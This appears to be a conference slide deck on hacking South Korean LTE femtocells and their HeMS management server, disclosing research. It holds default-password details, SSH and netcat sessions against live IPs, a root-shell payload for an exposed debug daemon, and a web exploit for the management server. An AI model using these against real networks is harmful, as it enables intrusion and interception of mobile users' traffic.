FemtoCell Hacking

From Zero to Zero Day!

singi (jeonghoon shin)
fb : @sjh21a
Who Am I?

- Researcher at ***
- Software bug researcher
- Mentor of the B.o.B

(an education program in search of Korea’s next generation security leader.)

- a.k.a singi

- fb : @sjh21a
Today, Talk Point

0x00. Basic LTE Network

0x01. Femtocell Vendors in South Korea

0x02. How i pwn femtocell device?

0x03. reach to HeMS / pwned!

0x04. when got femto control, what can you do?
Basic LTE Network
Basic LTE Network

- **UE (User Equipment)**
  - Mobile device

- **FAP (Femto Access-Point)**
  - It Connects to the service provider’s network via broadband.

- **SeGW (Security Gateway)**
  - Border gateway of the operator’s core network
  - installed in an operator’s network

- **Femto-GW (Femtocell Gateway)**
  - Provision itself
  - Interact with core network entities
  - Installed in an operator’s network
What is femtocell?

- Small Base Station
- Gap Filler
  - Out of Service Area
  - Cell area: 10~12m
- In LTE Standard, defined to Home evolved Node B (HeNB)
  - 3G? Home Node B (HNB)
- Recently, called to “Small Cell”, which is better? :-]
why femtocell?

- Vital part of the LTE network.
  - already been widespread.
- Easily can sniff the mobile device packets.
- Can control the mobile devices connected to the femtocell.
a few years later?
Femtocell Vendors/devices
Femtocell Service Providers in South Korea

- SK telecom world
- oleh kt
- LG U+
<table>
<thead>
<tr>
<th>Femtocell Vendors in South Korea</th>
</tr>
</thead>
<tbody>
<tr>
<td><img src="image1.png" alt="SK Telecom" /></td>
</tr>
<tr>
<td>InnoWireless</td>
</tr>
<tr>
<td>Contela</td>
</tr>
<tr>
<td>…</td>
</tr>
<tr>
<td><img src="image2.png" alt="Kt" /></td>
</tr>
<tr>
<td>InnoWireless</td>
</tr>
<tr>
<td>JuniKorea</td>
</tr>
<tr>
<td>…</td>
</tr>
<tr>
<td><img src="image3.png" alt="LG U+" /></td>
</tr>
<tr>
<td>CNSLLink</td>
</tr>
<tr>
<td>…</td>
</tr>
</tbody>
</table>
Femtocell Vendors in South Korea

- In South Korea, femtocell device are not sell to individuals.
  - one of reason is that is under development.
  - they’re testing on public LTE network.
  - As know you, LTE is All over IP! :D
LTE Network Overview
How I pwn Femtocell device?

• **In Case #1,**
  
  • started from zero. because, i never touch/have any femtocell device
  
  • I searched on web, any femtocell informations.
    
    • I focus on internet news/articles
      
      • “Google Search” is best of best hacking tool! :D
How I pwn Femtocell device?

- femto is installed to **Gangnam Station** Starbucks.

---

Q1. 차세대 펜토셀 기술이 적용되면 어떤 점이 좋아지나요?
A1. - 펜토셀 구축으로 펜토셀 내 체감속도가 최적적으로 개선되고, 가입자 상상에 따른 속도 저하 영향 최소화가 가능합니다. 그리고 매크로 설립의 오프로딩으로 매크로 서비스 지역내 사용자 평점이 개선됩니다.

Q2. 차세대 펜토셀 기술이 적용되면 데이터속도가 빨라졌다면, kt 고속은 모두 해당 서비스를 제공할 수 있나요?
A2. 펜토셀이 설치 된 모든 곳에서 KT LTE 고가에게 자동제어 안에서 서비스 가능합니다. 단, LTE+WiFi 둘은 서비스는 WiFi 모듈이 탑재된 차세대 펜토셀 내에서만 제공 가능하며 투호 별도의 전용 app 설치 후 사용 가능합니다.

Q3. 차세대 펜토셀이 설치되어 서비스를 제공받을 수 있는 지역은 주로 어느 곳인가요?
A3. 이미 '12년 스타 블록 및 수도권 3전 5택에 펜토셀로 설치했으며, LTE 트래픽 주요하게 할해 상반기 내 수도권 및 광역시 4전 8천여 곳에 추가 적령지역을 지속 확대할 예정입니다. 현재 구축 및 서비스 진행중인 장소는 주로 트래픽이 많은 중소형 건물의 지하이며, 펜토가 구축되어 있는 곳 중 대표적인 장소로 강남역 스타벅스2호점, 스타벅스 명동사거리점 등이 있습니다.
How I pwn Femtocell device?
How I pwn Femtocell device?
How I pwn Femtocell device?

- got IP address, Device ID information.
- from IP address, got some interesting information.
  - Vendor name
  - Service Port
i knew vendor name, what next?

- read all product **manual pdf file** in vendor website.

- Actually, i didn’t expect much :(
I knew vendor name, what next?

- However, there was critical information.

- but, where IP address? read more :(
Huh, got root easy :( anyway, read more…

1. root로 login 하기 위해서는 su를 입력하면 password를 묻는다

2. Password는 Fap 다르며 기본 문자열 + macaddr의 끝 16진수 2자리 이다.

   ex) 옆의 password: dongwon11c8
last page, got ip address!
so, easy… next?

```
root@ubuntu:~# proxychains ssh -oPort=10022 175.242.179.140
ProxyChains-3.1 (http://proxychains.sf.net)
[D-chain]--<>-127.0.0.1:9050--<>-127.0.0.1:9050--<--denied
[D-chain]--<>-127.0.0.1:9050--<>-175.242.179.140:10022--<>--OK
The authenticity of host '[175.242.179.140]:10022 ([175.242.179.140]:10022)' can't be established.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '[175.242.179.140]:10022' (RSA) to the list of known hosts.
root@175.242.179.140's password:

root@ubuntu:~# proxychains ssh -oPort=10022 lteadmin@175.242.179.140
ProxyChains-3.1 (http://proxychains.sf.net)
[D-chain]--<>-127.0.0.1:9050--<>-127.0.0.1:9050--<--denied
[D-chain]--<>-127.0.0.1:9050--<>-175.242.179.140:10022--<>--OK
lteadmin@175.242.179.140's password:
Linux lte@1.6.28.10-1.82.1-rc13 #87 SMP Tue Mar 11 20:25:32 KST 2014 armv7l

1teadmin@
  1:~$ macaddr
00:0f:06:12:e9:26
1teadmin@lteadmin:~$ sudo -i
-bash: sudo: command not found
1teadmin@lteadmin:~$ su
Password:
su: incorrect password
1teadmin@
  1:~$ su
Password:
root@
  1:~$ id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk)
root@
  1:~$ 
```
root is anything do it! :)

- get firmware/check firmware update routine.
  - because, i want to download femtocell firmware.
- digging interesting files in femtocell.
  - at that time, i found HeNB info/XML files
  - femto LTE configure values.
- and looking for RCE Attack vector!
• when i analysis femto firmware, found RCE attack vector.

• This femtocell device open/using “debug” port on public network :)

```bash
root@ubuntu:~# nc 175.242.21249
```

```
@hDUSXhw
@unknown MsgType(97)
@dDUSXhw?
unknown command
```
same debugging feature, several demons

root@ubuntu:~# proxychains nc 14.86.0.1 20833 -v
ProxyChains-3.1 (http://proxychains.sf.net)
|D-chain|--->127.0.0.1:9050--->14.86.0.1:20833--->OK
Connection to 14.86.0.1 20833 port [tcp/*] succeeded!

f
@
iDUSX??aZpUnknown MsgType(102)
@
dDUSX??a[Unknown command
^C

root@ubuntu:~# proxychains nc 14.86.0.1 20641 -v
ProxyChains-3.1 (http://proxychains.sf.net)
|D-chain|--->127.0.0.1:9050--->14.86.0.1:20641--->OK
Connection to 14.86.0.1 20641 port [tcp/*] succeeded!

a
@
hDUSX??jsUnknown MsgType(97)
@
dDUSX??j0Unknown command
detail of femto RCE

```c
int __fastcall ProcessDshMsg(_BYTE *a1)
{
    int v1; // r10@2
    int v2; // r5@3
    int v3; // r6@3
    int v4; // r0@4
    bool v5; // nf@4
    unsigned __int8 v6; // vf@4
    int v7; // r4@6
    const char *v8; // r1@6
    int result; // r0@7
    int (__fastcall *v10)(int, char **); // r2@8
    unsigned int v11; // r4@5
    char *s1; // [sp+0h] [bp-200h]@2

    if ((unsigned int)*a1 - 1 > 1)
    {
        v11 = 0x3FFFD5BDu;
        j_dusPrint("DUS", 0, "Unknown MsgType(%d)\n", *a1);
        LABEL_11:
        result = j_dusPrint(&GLOBAL_OFFSET_TABLE_[v11], 0, "Unknown command\n");
    }
    else
    {
        v1 = j_parseCmd((int)(a1 + 8), (int)&s1);
    }
```

*a1 is **recv** string pointer.

if *a1 is 0x01 or 0x02*

then, bypass unknown MsgType
detail of femto RCE

```c
j__dusRegisterCmd("help", 4, helpCmdHandler, "List all commands");
j__dusRegisterCmd("info", 4, infoCmdHandler, "Get Connection info.");
j__dusRegisterCmd("print", 5, printCmdHandler, "Set print related setting");
j__dusRegisterCmd("batch", 5, batchCmdHandler, "Run batch commands");
j__dusRegisterCmd("system", 6, systemCmdHandler, "Run system command");
j__dusRegisterCmd("disdus", 6, disdusCmdHandler, "display dus configuration");
j__dusRegisterCmd("setdus", 6, setdusCmdHandler, "set dus configuration");
j__dusRegisterCmd("deldus", 6, deldusCmdHandler, "delete dus configuration");
v0 = j__dusRegisterCmd("setdbglv", 8, dbglvCmdHandler, "Change debug level");
if ( v0 < 0 )
    j_printf("__dusRegisterCmd(setdbglv) failed : %d \n", v0);
result = j__dusRegisterCmd("corectrl", 8, coreCmdHandler, "Change Core/Pstack Service");
if ( result < 0 )
    result = j_printf("__dusRegisterCmd(corectrl) failed : %d \n", result);
return result;
```
make simple payloads!

- payload length is greater then 8 bytes.
- first 1 byte must be 0x01 or 0x02. (message Format)
- “0x01”*8 + “system\x20” + “shell command”
- get root shell! :(
femto RCE exploit code
got root easily

root@ubuntu:~# proxychains python ex.py 14.86.
ProxyChains=3.1 (http://proxychains.sf.net)
[+] Opening connection to 14.86.x.x on port 21249: Done
femto# id
@\x0cDUSX@
uid=0(root) gid=0(root)

femto# ifconfig
@\x0cDUSXketh0  Link encap:Ethernet  HWaddr 00:07:89:f7:00:60
@\x0cDUSXl3   inet addr:10.10.0.2  Bcast:10.10.255.255  Mask:255.255.0.0
@\x0cDUSXlF   inet6 addr: fe80::207:89ff:feff:60/64 Scope:Link
@\x0cDUS     femto#
X1T          UP BROADCAST MULTICAST  MTU:1500  Metric:1
@\x0cDUSXl_  RX packets:0  errors:0  dropped:0  overruns:0  frame:0
@\x0cDUSXlj  TX packets:2  errors:0  dropped:0  overruns:0  carrier:0
@\x0c|DUSXlv  collisions:0  txqueuelen:1000
@\x0cDUSXl  RX bytes:0 (0.0 B)  TX bytes:168 (168.0 B)
@\x0cmDUSXl  Interrupt:134
@\x0cDUSXl  @\x0cDUSXlge_0_0_0  Link encap:Ethernet  HWaddr 00:07:89:12:f1:be
@\x0cDUSXl  inet addr:14.86.x.x  Mask:255.255.255.255
okay, what’s next?

- access to HeMS.
- HeMS is **HeNB Management System**.
- HeNB is each femtocell device.
- will use KT femtocell, because LG U+ are closed service soon.
- have to reverse engineering binaries/looking for system files.
Access to HeMS

• when I got a shell on femtocell device, will looking for interesting file/ firmware update routine.

• At that time, i have some information of HeMS.

• HeMS is provide ftp, http, cwmp service. (show 3-ways.)

• HeMS is management server to femtocell devices via tr-069(cwmp) protocol. (also, expose to cwmp agent id/password)

  • manage of femto device firmware update.

  • manage of femto device check/save daily device log.

  • send to control message to each femtocell device.
exposed HeMS Account

```
aAcsUsername_0 DCB "acs/username",0 ; DATA XREF: sub_16A30+F81o
   ALIGN 4
   aHems_d       DCB "HeMS_D",0          ; DATA XREF: sub_16A30+10C1o
   ALIGN 4
   aAcsPassword_0 DCB "acs/password",0 ; DATA XREF: sub_16A30+11C1o
   ALIGN 4
   aAcsConnusern_0 DCB "acs/connusername",0 ; DATA XREF: sub_16A30+1401o
   ALIGN 4
   aAcsConnuserpwd_0 DCB "acs/connuserpwd",0 ; DATA XREF: sub_16A30+1541o
   ALIGN 0x10
   aTr069        DCB "^tr-069^",0         ; DATA XREF: sub_16A30+1641o
   aTr069        DCB "^tr-069^",0         ; DATA XREF: sub_16A30+1781o
   .text:off_16D281o
```

# XML Command List

<table>
<thead>
<tr>
<th>Name</th>
<th>RETRIEVE MME CONFIGURATION(RTRV-MME-CONF)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Description</td>
<td>Retrieves MME-related parameters. The information retrieved includes MME Equip, active State indicating whether S1 is used, MME IP, and secondary MME IP.</td>
</tr>
</tbody>
</table>

**Input Parameters**

- **mmIndex**: The index used to access the information. Since there are a total of 16 MMEs that can be connected to an eNB, the index range is 0 to 15.
- **status**: The EQUIP status information on the MME. - N_EQUIP: The MME to connect does not exist (default) - EQUIP: The MME to connect exists
- **activeState**: The state information on the specified MME in operation. Of the MMEs for which the S1 Setup is established, if there is an undesired MME, this parameter is set to Equip, it is better not to change this parameter value to Inactive. - Inactive: MME (S1 assigned) is used. - Active: MME (S1 assigned) is not used.
- **ipVer**: The IP address version of the MME. Either IPv4 or IPv6 is assigned.
- **mmIP4**: Information on the IPv4 address of the MME. This parameter value is valid only if the IP_VER parameter is set to IPv4. It is not used if the IP_VER parameter is set to IPv6.
- **mmIP6**: Information on the IPv6 address of the MME. This parameter value is valid only if the IP_VER parameter is set to IPv6. It is not used if the IP_VER parameter is set to IPv4.
- **administrativeState**: The status of the MME link. - locked: A state where active calls connected to the MME are all dropped, and new call connections are not possible. Where active calls connected to the MME are maintained, but new call connections are not possible.
- **secondaryMmeIP4**: The secondary IP address of the IPv4 type set in the MME node to support the SCTP Multi Homing function. It is valid only if the IP_VER parameter is IPv4.  
- **secondaryMmeIP6**: The secondary IP address of the IPv6 type set in the MME node to support the SCTP Multi Homing function. It is valid only if the IP_VER parameter is IPv6.

**Output Parameters**

<table>
<thead>
<tr>
<th>NAME</th>
<th>ABNORMAL RESULT</th>
</tr>
</thead>
</table>

<table>
<thead>
<tr>
<th>NAME</th>
<th>ABNORMAL RESULT</th>
</tr>
</thead>
</table>

---
how to use xml command?
where to find HeMS account information?

digging /tmp directory

F.Y.I, HeMS FTP service is only allow access via femto device.
it is just ftp service.
not sftp :(

*PLTE*.tar.bz2 is our femtocell firmware
here is xml log file!

CM_*.xml have a information of femto devices.
daily device log file

6550 node in the CM_170306.xml file.

I did interesting work via GPS value…
Femto stop :D

Gotta catch em all
Pwn HeMS via Web Service

- At this time, finding 0-day at HeMS HTTP service.
- connect to HTTP service through browser, we can see “flash” index file.
  - we can decompile this swf file!
HeMS Web Page.
just 1 flash file
decompile swf file using open source tool.

much action script file
HeMS Web Vulnerability

```javascript
private function _StatisticsBase_RemoteObject1_i() : RemoteObject {
    var _loc1_:RemoteObject = new RemoteObject();

    [Bindable(event="propertyChange")]
    public function get statistics() : RemoteObject {
        return this._94588637statistics;
    }

    across 94 files
```
where define to RemoteObject

- Classes name implemented by RemoteObject class.
- Total 24 classes.
using this RemoteObject function.

```javascript
private function _DeviceSelectWindow_RemoteObject1_i(): RemoteObject {
    var _loc1_:RemoteObject = new RemoteObject();
    this.deviceManage = _loc1_;
    _loc1_.destination = "DeviceManage";
    _loc1_.showBusyCursor = true;
    _loc1_.operations = { "getDeviceList" : this._DeviceSelectWindow_Opera
    _loc1_.initialized(this,"deviceManage");
    return _loc1_;
}
```
HeMS Web exploit code

```plaintext
protected function myBtnClick(event:MouseEvent):void {
    var ro:RemoteObject = new RemoteObject();
    ro.destination = "DeviceManage";
    var channelSet:ChannelSet = new ChannelSet();
    ro.channelSet = channelSet;
    var c:Channel = new AMFChannel("my-amf", "http://
    channelSet.addChannel(c);
    ro.addEventListener(ResultEvent.RESULT, resultHandler);
    ro.addEventListener(FaultEventFAULT, onFault);
    var obj:Object = new Object();
    ro.getDeviceList(obj);
    trace("done!");
}
```
<p>| | | | | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>2</td>
<td>1</td>
<td>128.88.88.88</td>
<td>5</td>
<td><a href="http://125.156">http://125.156</a></td>
<td>47</td>
</tr>
<tr>
<td>2</td>
<td>1</td>
<td>128.88.88.88</td>
<td>5</td>
<td><a href="http://112.179">http://112.179</a></td>
<td>55</td>
</tr>
<tr>
<td>2</td>
<td>1</td>
<td>128.88.88.88</td>
<td>5</td>
<td><a href="http://112.176">http://112.176</a></td>
<td>65</td>
</tr>
<tr>
<td>2</td>
<td>1</td>
<td>128.88.88.88</td>
<td>5</td>
<td><a href="http://14.67.1">http://14.67.1</a></td>
<td>72</td>
</tr>
<tr>
<td>2</td>
<td>1</td>
<td>128.88.88.88</td>
<td>5</td>
<td><a href="http://175.231">http://175.231</a></td>
<td>77</td>
</tr>
<tr>
<td>2</td>
<td>1</td>
<td>128.88.88.88</td>
<td>5</td>
<td><a href="http://175.232">http://175.232</a></td>
<td>78</td>
</tr>
<tr>
<td>2</td>
<td>1</td>
<td>128.88.88.88</td>
<td>3</td>
<td><a href="http://183.114">http://183.114</a></td>
<td>82</td>
</tr>
<tr>
<td>2</td>
<td>1</td>
<td>128.88.88.88</td>
<td>3</td>
<td><a href="http://183.114">http://183.114</a></td>
<td>83</td>
</tr>
<tr>
<td>2</td>
<td>1</td>
<td>128.88.88.88</td>
<td>5</td>
<td><a href="http://118.50.4">http://118.50.4</a></td>
<td>85</td>
</tr>
<tr>
<td>2</td>
<td>1</td>
<td>128.88.88.88</td>
<td>5</td>
<td><a href="http://183.114">http://183.114</a></td>
<td>92</td>
</tr>
<tr>
<td>2</td>
<td>1</td>
<td>128.88.88.88</td>
<td>5</td>
<td><a href="http://183.114">http://183.114</a></td>
<td>93</td>
</tr>
<tr>
<td>2</td>
<td>1</td>
<td>138.2.6.6</td>
<td>5</td>
<td><a href="http://183.127">http://183.127</a></td>
<td>94</td>
</tr>
<tr>
<td>2</td>
<td>1</td>
<td>14.85.3</td>
<td>5</td>
<td><a href="http://14.85.3">http://14.85.3</a></td>
<td>95</td>
</tr>
<tr>
<td>2</td>
<td>1</td>
<td>112.176</td>
<td>5</td>
<td><a href="http://112.176">http://112.176</a></td>
<td>98</td>
</tr>
<tr>
<td>2</td>
<td>1</td>
<td>112.176</td>
<td>5</td>
<td><a href="http://112.176">http://112.176</a></td>
<td>102</td>
</tr>
<tr>
<td>2</td>
<td>1</td>
<td>112.176</td>
<td>5</td>
<td><a href="http://112.176">http://112.176</a></td>
<td>107</td>
</tr>
<tr>
<td>2</td>
<td>1</td>
<td>112.176</td>
<td>5</td>
<td><a href="http://112.176">http://112.176</a></td>
<td>110</td>
</tr>
<tr>
<td>2</td>
<td>1</td>
<td>112.176</td>
<td>5</td>
<td><a href="http://175.231">http://175.231</a></td>
<td>111</td>
</tr>
<tr>
<td>2</td>
<td>1</td>
<td>112.176</td>
<td>5</td>
<td><a href="http://175.231">http://175.231</a></td>
<td>112</td>
</tr>
</tbody>
</table>
get HeMS shell?

```java
private function sendFileToSvr() : void {
    if(this.txtFileName.text == "") {
        Alert.show("파일(*.csv)을 선택해주세요.");
        return;
    }
    this.fileRef.upload(new URLRequest("jsp/upload.jsp"));
}
```
got hems, dirty shot!
Conclusion

• we found 2+ vulnerability in femtocell device.

• access to debug daemon, stack overflow, ...

• we can access femtocell management server.

• through info files and exploiting Web Vulnerability.

• we can choose certain femto device via GPS value, and we can sniffing certain femto device.
Any Questions? :D

<table>
<thead>
<tr>
<th>Enter text</th>
<th>Translation</th>
</tr>
</thead>
</table>

Open in Google Translate
Thanks to

- @reum
  - She is Mentee of B.o.B 4th
  - She helped in preparing the presentation script.
- @jack2
  - He is Co-work partner.